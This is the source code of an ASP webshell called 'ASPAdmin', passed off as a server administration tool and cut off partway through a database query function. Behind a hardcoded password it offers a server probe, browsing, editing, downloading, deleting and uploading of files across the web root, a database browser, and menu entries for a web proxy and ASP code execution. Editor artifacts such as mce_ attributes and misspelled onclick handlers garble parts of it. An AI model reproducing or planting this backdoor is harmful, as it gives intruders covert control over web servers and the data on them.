<!-- <object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object> <% ' Option Explicit Response.Buffer = True Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName theAct = GetPost("theAct") PageSize = 20 '' isSqlServer = False rootPath = Server.MapPath("/") pageName = GetPost("PageName") url = Request.ServerVariables("URL") '' sPacketName = "Packet.mdb" '' thePath = Replace(getPost("thePath"), "//", "/") sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$" accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";" Const m = "ASPAdmin" ''Session Const isDebugMode = False 'False,True'' Const maxPageCount = 600 '' Const userPassword = "13403014" '' Const imageFileExt = "$gif$jpg$bmp$" '' Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$" Sub echo(str) Response.Write(str) End Sub Sub IsIn() If Session(m & "userPassword") <> userPassword Then echo "<mce:script type="text/javascript"><!-- alert('没有权限的访问,请先登录!');location.href='" & url & "'; // --></mce:script>" Response.End() End If End Sub Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End If End Function Sub RedirectTo(url) Response.Redirect(url) End Sub Function GetPost(var) Dim val If Request.QueryString("PageName") = "PageUpload" Then pageName = "PageUpload" Exit Function End If val = RTrim(Request.Form(var)) If val = "" Then val = RTrim(Request.QueryString(var)) End If GetPost = val End Function Function HtmlEncode(str) If IsNull(str) Then Exit Function HtmlEncode = Server.HTMLEncode(str) End Function Function UrlEncode(str) If IsNull(str) Then Exit Function UrlEncode = Server.UrlEncode(str) End Function Sub ShowTitle(str) Response.Write "<title>" & str & " - --</title>" Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" End Sub Function GetTheSize(num) Dim i, arySize(4) arySize(0) = "B" arySize(1) = "KB" arySize(2) = "MB" arySize(3) = "GB" arySize(4) = "TB" While(num / 1024 >= 1) num = Fix(num / 1024 * 100) / 100 i = i + 1 WEnd GetTheSize = num & " " & arySize(i) End Function Sub ShowErr(str) Dim i, arrayStr str = Server.HtmlEncode(str) arrayStr = Split(str, "$$") echo "<font size=2>" echo "出错信息:<br/><br/>" For i = 0 To UBound(arrayStr) echo " " & (i + 1) & ". " & arrayStr(i) & "<br/>" Next echo "</font>" Response.End() End Sub Sub CreateFolder(thePath) Dim i i = InStr(Mid(thePath, 4), "/") + 3 Do While i > 0 If fso.FolderExists(Left(thePath, i)) = False Then fso.CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "/") Then i = i + Instr(Mid(thePath, i + 1), "/") Else i = 0 End If Loop End Sub Sub AlertThenClose(str) If str = "" Then Response.Write "<mce:script type="text/javascript"><!-- window.close(); // --></mce:script>" Else Response.Write "<mce:script type="text/javascript"><!-- alert(""" & str & """);window.close(); // --></mce:script>" End If End Sub Sub ChkErr(Err) If Err Then echo "<hr style="color:#d8d8f0;" mce_style="color:#d8d8f0;"/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>" echo "<hr style="color:#d8d8f0;" mce_style="color:#d8d8f0;"/> By Marcos 2005.06</font>" Err.Clear Response.End End If End Sub Sub TopMenu() echo "<form method=post name=formp action=""" & url & """>" echo "<select name=PageName οnchange=changePage(this)>" echo "<option value=''>请选择功能页面</option>" echo "<option value=PageCheck>fwtaizhen</option>" echo "<option value=PageFso>liulanqi</option>" echo "<option value=PageDBTool>Data</option>" echo "<option value=PagePack>Ok</option>" echo "<option value=PageUpload>Up</option>" echo "<option value=PageSearch>Txt</option>" echo "<option value=PageWebProxy>HTTP</option>" echo "<option value=PageExecute>ASP</option>" echo "<option value=PageOut>Out</option>" echo "</select>" echo "</form>" echo "<mce:script lanuage=javascript><!-- " echo "formp.PageName.value='" & pageName & "';" echo "function changePage(obj){" echo " if(obj.value=='PageOut')" echo " if(!confirm('确认要退出系统吗?'))return;" echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';" echo " obj.form.submit();obj.form.target='';" echo "}" echo " // --></mce:script>" End Sub Rem ++++++++++++++++++++++++++++++++++++ Rem 以下是页面选择部分 Rem ++++++++++++++++++++++++++++++++++++ PageOther() If pageName <> "" Then IsIn() TopMenu() End If Select Case pageName Case "PageSearch" PageSearch() Case "PageCheck" PageCheck() Case "PageFso" PageFso() Case "PageDBTool" PageDBTool() Case "PageUpload" PageUpload() Case "PagePack" PagePack() Case "PageExecute" PageExecute() Case "PageWebProxy" PageWebProxy() Case "", "PageOut" PageLogin() End Select Rem +++++++++++++++++++++++++++++++++++++ Rem 以下是各功能模块部分 Rem +++++++++++++++++++++++++++++++++++++ Sub PageSearch() Dim strKey, strPath strKey = GetPost("Key") Server.ScriptTimeout = 5000 If thePath = "" Then thePath = "/" ShowTitle("文本文件搜索器") SearchTable(strKey) If theAct <> "" And strKey <> "" Then SearchIt(strKey) End If End Sub Sub SearchTable(strKey) echo "<table width=750 border=1>" echo "<form method=post action='" & url & "'>" echo "<input type=hidden value=PageSearch name=PageName>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td> 路径</td>" echo "<td> <input name=thePath type=text id=thePath value='" echo HtmlEncode(thePath) echo "' style='width:360px;'>" echo "<input type=button οnclick=this.form.thePath.value='/'; value='根目录'>" echo "<input type=button οnclick=this.form.thePath.value='./'; value='当前目录'>" echo "</td>" echo "</tr>" echo "<tr>" echo "<td width='20%'> 关键字</td>" echo "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> " echo "<select name=theAct id=theAct>" echo "<option value=FileName selected>仅文件名</option>" echo "<option value=FileContent>仅文本内容</option>" echo "<option value=Both>两者都</option>" echo "</select>" echo " <input type=submit name=Submit value=提交> </td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=2 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</form>" echo "</table>" End Sub Sub SearchIt(key) Dim strPath, theFolder Response.Buffer = True strPath = Server.MapPath(thePath) If fso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = fso.GetFolder(strPath) echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>" Select Case theAct Case "Both" Call SearchFolder(theFolder, key, 1) Case "FileName" Call SearchFolder(theFolder, key, 2) Case "FileContent" Call SearchFolder(theFolder, key, 3) End Select echo "</div>" Set theFolder = Nothing End Sub Sub SearchFolder(folder, key, flag) Dim ext, title, theFile, theFolder For Each theFile In folder.Files ext = LCase(fso.GetExtensionName(theFile.Path)) If flag = 1 Or flag = 2 Then If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "") End If If flag = 1 Or flag = 3 Then If Instr(EditableFileExt, "$" & ext & "$") > 0 Then If SearchFile(theFile, key, title) Then echo FileLink(theFile, title) End If End If Next Response.Flush() For Each theFolder In folder.SubFolders Call SearchFolder(theFolder, key, flag) Next end sub Function SearchFile(f, s, title) Dim theFile, content, pos1, pos2 If isDebugMode = False Then On Error Resume Next Set theFile = fso.OpenTextFile(f.Path) content = theFile.ReadAll() theFile.Close Set theFile = Nothing If Err Then Err.Clear End If SearchFile = InStr(1, content, s, 1) If SearchFile > 0 Then pos1 = InStr(1, content, "<TITLE>", 1) pos2 = InStr(1, content, "</TITLE>", 1) title = "" If pos1 > 0 And pos2 > 0 Then title = Mid(content, pos1 + 7, pos2 - pos1 - 7) End If End If End Function Function FileLink(file, title) fileLink = file.Path If title = "" Then title = file.Name End If fileLink = " <font color=ff0000>" & title & "</font> " & Mid(fileLink, Len(rootPath) + 1) & "<br/>" End Function Sub PageCheck() ShowTitle("服务器信息探针") InfoCheck() If theAct <> "" Then GetAppOrSession(theAct) End If ObjCheck() End Sub Sub InfoCheck() Dim aryCheck(6) If isDebugMode = False Then On Error Resume Next aryCheck(0) = Server.ScriptTimeOut() & "(秒)" aryCheck(1) = FormatDateTime(Now(), 0) aryCheck(2) = Request.ServerVariables("SERVER_NAME") aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR") aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT") aryCheck(3) = Request.ServerVariables("OS") aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE") aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size) aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />" aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url") aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href="javascript:locate(" mce_href="javascript:locate("'app');>Application</a>)," aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href="javascript:locate(" mce_href="javascript:locate("'session');>Session</a>)," aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId() echo "<table width=750 border=1>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息" echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr class=td>" echo "<td width='20%'> 项目</td>" echo "<td> 值</td>" echo "</tr>" echo "<tr>" echo "<td> 默认超时</td>" echo "<td> "&aryCheck(0)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 当前时间</td>" echo "<td> "&aryCheck(1)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 服务器名</td>" echo "<td> "&aryCheck(2)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 软件环境</td>" echo "<td> "&aryCheck(3)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 站点目录</td>" echo "<td> "&aryCheck(4)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 当前路径</td>" echo "<td> "&aryCheck(5)&"</td>" echo "</tr>" echo "<tr>" echo "<td> 其它</td>" echo "<td> "&aryCheck(6)&"</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=2 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" End Sub Sub ObjCheck() Dim aryObj(19) Dim x, objTmp, theObj, strObj If isDebugMode = False Then On Error Resume Next strObj = Trim(getPost("TheObj")) aryObj(0) = "MSWC.AdRotator|广告轮换组件" aryObj(1) = "MSWC.BrowserType|浏览器信息组件" aryObj(2) = "MSWC.NextLink|内容链接库组件" aryObj(3) = "MSWC.Tools|" aryObj(4) = "MSWC.Status|" aryObj(5) = "MSWC.Counters|计数器组件" aryObj(6) = "MSWC.PermissionChecker|权限检测组件" aryObj(7) = "Adodb.Connection|ADO 数据对象组件" aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件" aryObj(9) = "Scripting.FileSystemObject|FSO组件" aryObj(10) = "Adodb.Stream|Stream 流组件" aryObj(11) = "Shell.Application|" aryObj(12) = "WScript.Shell|" aryObj(13) = "Wscript.Network|" aryObj(14) = "ADOX.Catalog|" aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件" aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件" aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件" aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件" aryObj(19) = strObj & "|您所要检测的组件" echo "<br/>" echo "<table width=750 border=1>" echo "<tr>" echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息" echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=3 class=trHead> </td>" echo "</tr>" echo "<tr class=td>" echo "<td> 组件<font color=#666666>(描述)</font></td>" echo "<td width=10% align=center>支持</td>" echo "<td width=15% align=center>版本</td>" echo "</tr>" For Each x In aryObj theObj = Split(x, "|") If theObj(0) = "" Then Exit For Set objTmp = Server.CreateObject(theObj(0)) If Err <> -2147221005 Then x = x & "|√|" x = x & objTmp.Version Else x = x & "|<font color=red>×</font>|" End If If Err Then Err.Clear Set objTmp = Nothing theObj = Split(x, "|") theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "") echo "<tr>" echo "<td> " & theObj(1) & "</td>" echo "<td align=center>" & theObj(2) & "</td>" echo "<td align=center>" & theObj(3) & "</td>" echo "</tr>" Next echo "<form method=post action='" & url & "'>" echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>" echo "<tr>" echo "<td colspan=3> 其它组件检测:" echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>" echo "<input type=submit name=Submit value=提交></td>" echo "</tr>" echo "</form>" echo "<tr>" echo "<td colspan=3 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=3 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" End Sub Sub GetAppOrSession(theAct) Dim x, y If isDebugMode = False Then On Error Resume Next echo "<br/>" echo "<table width=750 border=1 class=fixTable>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看" echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr class=td>" echo "<td width='20%'> 变量</td>" echo "<td> 值</td>" echo "</tr>" If theAct = "app" Then For Each x In Application.Contents echo "<tr><td valign=top>" echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>" echo "</td><td style="padding-left:7px;" mce_style="padding-left:7px;"><span>" If IsArray(Application(x)) = True Then For Each y In Application(x) echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>" Next Else echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>") End If echo "</span></td></tr>" Next End If If theAct = "session" Then For Each x In Session.Contents echo "<tr><td valign=top>" echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>" echo "</td><td style="padding-left:7px;" mce_style="padding-left:7px;"><span>" echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>") echo "</span></td></tr>" Next End If echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=2 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" End Sub Sub PageFso() ShowTitle("FSO文件浏览操作器") Select Case theAct Case "rename" RenOne() Case "download" DownTheFile() Response.End() Case "del" DelOne() Case "newone" NewOne() Case "saveas" SaveAs() Case "save" SaveToFile() ' AlertThenClose("文件修改成功!") ShowEdit() Response.End() Case "showedit" ShowEdit() Response.End() Case "showimage" ShowImage() Response.End() Case "copy", "move" MoveCopyOne() End Select If theAct <> "" Then thePath = GetPost("truePath") FsoFileExplorer() End Sub Sub FsoFileExplorer() Dim objX, theFolder, folderId, extName, parentFolderName Dim strPath If isDebugMode = False Then On Error Resume Next If thePath = "" Then thePath = "/" strPath = Server.MapPath(thePath) If fso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = fso.GetFolder(strPath) parentFolderName = fso.GetParentFolderName(strPath) & "/" echo "<table width=750 border=1>" echo "<form method=post action='" & url & "'>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器" echo "</tr>" echo "<tr><td colspan=2 class=trHead> </td></tr>" echo "<tr>" echo "<td colspan=2> " echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>" echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>" echo " <input type=button value='提交' οnclick=Command('submit');>" echo " <input type=button value=上传 οnclick=Command('upload')>" echo "</td>" echo "</tr>" echo "<tr><td colspan=2 class=trHead> </td></tr>" echo "<tr><td valign=top>" echo "<input type=hidden name=theAct>" echo "<input type=hidden name=param>" echo "<input type=hidden value=PageFso name=PageName>" echo "<table width='99%' align=center>" echo "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>" If thePath <> "/" Then folderId = Replace(Mid(parentFolderName, Len(rootPath) + 1), "/", "//") echo " <a href=""javascript:changeThePath("" & folderId & "");"">↑回上级目录</a>" End If echo "</td><td align=center width=80>大小</td>" echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>" For Each objX In theFolder.SubFolders folderId = Replace(Mid(objX.Path, Len(rootPath) + 1), "/", "//") echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>" echo "<span class=fixSpan style='width:180;'>" echo "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>" echo "</td>" echo "<td align=center>-</td>" echo "<td align=center>" & objX.DateLastModified & "</td><td>" echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>" echo "<input type=button οnclick=""Command('rename',"" & objX.Name & "");"" value='Ren' title=重命名>" echo "<input type=button value='SaveAs' title=另存为 οnclick=""Command('saveas',"" & Replace(Mid(objX.Path, Len(rootPath) + 1), "/", "//") & "")"">" echo "</td></tr>" Next For Each objX In theFolder.Files folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20") echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>" echo "<span class=fixSpan style='width:180;'>" echo "<a href="" & Replace(folderId, "%5C", "/") & "" mce_href="" & Replace(folderId, "%5C", "/") & "" target=_blank>" & objX.Name & "</a>" echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>" echo "<td align=center>" & objX.DateLastModified & "</td><td>" echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>" extName = LCase(fso.GetExtensionName(objX.Path)) If InStr(editableFileExt, "$" & extName & "$") > 0 Then echo "<input type=button value='Edit' title=编辑 οnclick=""Command('showedit',"" & objX.Name & "");"">" End If If InStr(imageFileExt, "$" & extName & "$") > 0 Then echo "<input type=button value='View' title=查看图片 οnclick=""Command('showimage',"" & objX.Name & "");"">" End If If extName = "mdb" Then echo "<input type=button value='Access' title=数据库操作 οnclick=Command('access',""" & objX.Name & """)>" End If echo "<input type=button value='D' title=下载 οnclick=""Command('download',"" & objX.Name & "")"">" echo "<input type=button value='Ren' title=重命名 οnclick=""Command('rename',"" & objX.Name & "")"">" echo "<input type=button value='S' title=另存为 οnclick=""Command('saveas',"" & Replace(Mid(objX.Path, Len(rootPath) + 1), "/", "//") & "")"">" echo "</td></tr>" Next echo "<tr class=td><td colspan=3></td>" echo "<td><input type=checkbox name=checkAll οnclick=checkAllBox(this);>" echo "<input type=button value='Delete' οnclick=Command('del')>" echo "<input type=button value='Pack' title=打包选中文件(夹) οnclick=Command('pack')>" echo "</td></tr></table>" echo "</td><td width='20%' valign=top align=center>" echo "<input type=button value=刷新 οnclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>" echo "<input type=button value=新建文件 οnclick=Command('newone','file')><br/>" echo "<input type=button value=新建文件夹 οnclick=Command('newone','folder')><hr style="color:#d8d8f0;" mce_style="color:#d8d8f0;"/>" echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' οnclick=Command('move');><hr style="color:#d8d8f0;" mce_style="color:#d8d8f0;"/>" echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' οnclick=Command('copy');><hr style="color:#d8d8f0;" mce_style="color:#d8d8f0;"/>" echo "</td></tr><tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=2 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</form>" echo "</table>" Set theFolder = Nothing End Sub Sub RenOne() Dim objX, strPath, aryParam, isFile, isFolder If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") strPath = Server.MapPath(GetPost("truePath")) & "/" aryParam(0) = strPath & aryParam(0) isFile = fso.FileExists(aryParam(0)) isFolder = fso.FolderExists(aryParam(0)) If isFile = False And isFolder = False Then ShowErr("文件(夹)不存在或者不允许访问!") End If If isFile = False Then Set objX = fso.GetFolder(aryParam(0)) objX.Name = aryParam(1) Else Set objX = fso.GetFile(aryParam(0)) objX.Name = aryParam(1) End If Set objX = Nothing ChkErr(Err) End Sub Sub DownTheFile() Response.Clear Dim stream, strPath, fileContentType If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(GetPost("truePath")) & "/" & GetPost("param") Set stream = Server.CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.LoadFromFile(strPath) ChkErr(Err) Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param") Response.AddHeader "Content-Length", stream.Size Response.Charset = "UTF-8" Response.ContentType = "Application/Octet-Stream" Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing End Sub Sub DelOne() Dim objX, strPath If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(GetPost("truePath")) & "/" For Each objX In Request.Form("checkBox") If fso.FolderExists(strPath & objX) = True Then Call fso.DeleteFolder(strPath & objX, True) ChkErr(Err) Else If fso.FileExists(strPath & objX) = True Then Call fso.DeleteFile(strPath & objX, True) ChkErr(Err) End If End If Next End Sub Sub MoveCopyOne() Dim objX, strPath, strMoveTo, strCopyTo If isDebugMode = False Then On Error Resume Next strMoveTo = GetPost("MoveTo") strCopyTo = GetPost("CopyTo") strPath = Server.MapPath(GetPost("truePath")) & "/" If theAct = "move" Then strMoveTo = Server.MapPath(strMoveTo) & "/" Else strCopyTo = Server.MapPath(strCopyTo) & "/" End If For Each objX In Request.Form("checkBox") If theAct = "move" Then If InStr(strMoveTo, strPath & objX) > 0 Then ShowErr("目标文件夹不能在源文件夹内") End If If fso.FileExists(strPath & objX) = True Then Call fso.MoveFile(strPath & objX, strMoveTo & objX) Else Call fso.MoveFolder(strPath & objX, strMoveTo & objX) End If Else If InStr(strCopyTo, strPath & objX) > 0 Then ShowErr("目标文件夹不能在源文件夹内") End If If fso.FileExists(strPath & objX) = True Then Call fso.CopyFile(strPath & objX, strCopyTo & objX) Else Call fso.CopyFolder(strPath & objX, strCopyTo & objX) End If End If ChkErr(Err) Next End Sub Sub NewOne() Dim objX, strPath, aryParam If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") strPath = Server.MapPath(GetPost("truePath")) & "/" & aryParam(0) If aryParam(1) = "file" Then Call fso.CreateTextFile(strPath, False) Else fso.CreateFolder(strPath) End If End Sub Sub ShowEdit() Dim theFile, strPath If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(GetPost("truePath")) & "/" & GetPost("param") If Right(strPath, 1) = "/" Then strPath = Left(strPath, Len(strPath) - 1) Set theFile = fso.OpenTextFile(strPath, 1, False) ChkErr(Err) echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>" echo "<tr>" echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<form method=post action=" & url & ">" echo "<input type=hidden name=theAct>" echo "<input type=hidden value=PageFso name=PageName>" echo "<tr>" echo "<td height=22> <input name=truePath value=""" & Mid(strPath, Len(rootPath) + 1) & """ style=width:500px;>" echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>" echo "</tr>" echo "<tr>" echo "<td> <textarea name=fileContent style='width:735px;height:100%;'>" echo HtmlEncode(theFile.ReadAll()) echo "</textarea></td>" echo "</tr>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">" echo "<input type=reset value=重置><input type=button οnclick=window.close(); value=关闭>" echo "<input type=button value=查看 title='在新窗口中打开该文件链接' οnclick=preView('2');>" echo "<input type=button value=预览 οnclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>" echo "</tr>" echo "</form>" echo "</table>" Set theFile = Nothing End Sub Sub SaveToFile() Dim theFile, strPath, fileContent If isDebugMode = False Then On Error Resume Next fileContent = GetPost("fileContent") strPath = Server.MapPath(GetPost("truePath")) Set theFile = fso.OpenTextFile(strPath, 2, True) theFile.Write fileContent theFile.Close ChkErr(Err) Set theFile = Nothing End Sub Sub SaveAs() Dim strPath, aryParam, isFile If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") aryParam(0) = Server.MapPath(aryParam(0)) aryParam(1) = Server.MapPath(aryParam(1)) isFile = fso.FileExists(aryParam(0)) If isFile = True Then fso.CopyFile aryParam(0), aryParam(1), False Else fso.CopyFolder aryParam(0), aryParam(1), False End If ChkErr(Err) End Sub Sub ShowImage() Dim stream, strPath, fileContentType If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(GetPost("truePath")) & "/" & GetPost("param") Set stream = Server.CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.LoadFromFile(strPath) ChkErr(Err) Response.Clear Response.BinaryWrite stream.Read stream.Close Set stream = Nothing End Sub Sub PageDBTool() ShowTitle("Access + SQL Server 数据库操作") echo "<form method=post action=""" & url & """>" If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then SqlShowEdit() echo "</form>" Response.End() End If ShowDBTool() Select Case theAct Case "Query" ShowQuery() Case "ShowTables" ShowTables() End Select echo "</form>" End Sub Sub ShowDBTool() echo "<table width=750>" echo "<input type=hidden value=PageDBTool name=PageName>" echo "<input type=hidden name=theAct>" echo "<input type=hidden name=param>" echo "<tr>" echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td height=50 align=center>" echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>" echo "</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td align=center class=td>" echo "<input type=submit name=Submit value=提交 οnclick=""this.form.theAct.value='ShowTables';"">" echo "<input type=button value=MDB οnclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">" echo "<input type=button value=SQL οnclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">" echo "<input type=reset value=重置>" echo "</td>" echo "</tr>" echo "</table>" End Sub Sub ShowTables() Dim Cat, objTable, objColumn, intColSpan, objSchema If isDebugMode = False Then On Error Resume Next echo "<br/><table width=750>" echo "<tr>" echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" CreateConn() Set Cat = Server.CreateObject("ADOX.Catalog") Cat.ActiveConnection = conn.ConnectionString echo "<tr><td width='20%' valign=top>" For Each objTable In Cat.Tables echo "<span class=fixSpan title='" & objTable.Name & "' οnclick=""Command('Query',this.title);this.disabled=true;"" " echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>" Next echo "</td><td>" intColSpan = IIf(isSqlServer = True, "4", "6") For Each objTable In Cat.Tables echo "<table width=98% align=center>" echo "<tr>" echo "<td class=trHead colspan=" & intColSpan & "> </td>" echo "</tr>" echo "<tr>" echo "<td colspan=" & intColSpan & " class=td> <strong>" echo objTable.Name & "</strong></td>" echo "</tr>" echo "<tr align=center>" echo "<td align=left width=*> 列名</td>" echo "<td width=80>类型</td>" echo "<td width=60>大小</td>" echo "<td width=60>可否为空</td>" If isSqlServer = False Then echo "<td width=50>默认值</td>" echo "<td width=100>描述</td>" End If echo "</tr>" For Each objColumn In Cat.Tables(objTable.Name).Columns echo "<tr align=center>" echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>" echo "<td>" & GetDataType(objColumn.Type) & "</td>" If objColumn.DefinedSize <> 0 Then echo "<td>" & objColumn.DefinedSize & "</td>" Else echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "</td>" End If echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>" If isSqlServer = False Then echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>" echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>" echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>" echo objColumn.Properties("Description") & "</span></td>" End If echo "</tr>" Next echo "<tr>" echo "<td colspan=" & intColSpan & " class=td> </td>" echo "</tr>" echo "</table><br/>" Next echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=td align=right>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" Set Cat = Nothing DestoryConn() End Sub Sub ShowQuery() Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey If isDebugMode = False Then On Error Resume Next sql = GetPost("sql") strParam = GetPost("param") strTable = GetPost("theTable") Set rs = Server.CreateObject("Adodb.RecordSet") If IsNumeric(strParam) = True Then intPage = strParam Else intPage = 1 strTable = strParam sql = "" End If If sql = "" Then 